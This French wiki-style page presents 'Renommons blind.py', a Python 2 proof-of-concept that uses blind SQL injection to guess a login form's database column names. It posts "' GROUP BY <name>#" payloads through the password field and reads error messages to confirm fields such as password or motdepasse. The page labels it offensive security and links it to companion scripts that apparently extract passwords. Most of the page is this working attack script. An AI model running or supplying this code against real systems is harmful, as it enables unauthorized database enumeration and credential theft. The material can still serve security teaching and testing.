Renommons blind.py
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Sécurité offensive — injection SQL aveugle |
| Type | Fragment Python 2 (proof of concept) |
| Voir aussi | Nb chp.py · Mdp.py |
Renommons blind.py teste, par injection SQL aveugle, une liste de noms de colonnes candidats via une clause GROUP BY nom. Si l'injection ne provoque pas d'erreur, le nom est probablement une colonne valide de la table : il est ajouté à la liste des champs découverts.
Ce fragment réutilise les variables site, port et page définies dans les autres scripts d'injection (voir Mdp.py).
Fragment
# variable pour mémoriser la liste des champs valides
liste = []
for nom in ('identif', 'id', 'identifiant', 'numero', 'nom', 'prenom',
'pass', 'passwd', 'password', 'motdepasse', 'mpd'):
injection = "' GROUP BY " + nom + "#"
print injection
parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(site + ":" + str(port))
conn.request("POST", page, parametres, headers)
rep = conn.getresponse()
page_retour = rep.read()
if not ('Erreur' in page_retour):
liste.append(nom)
print "La liste des champs valides est : "
print liste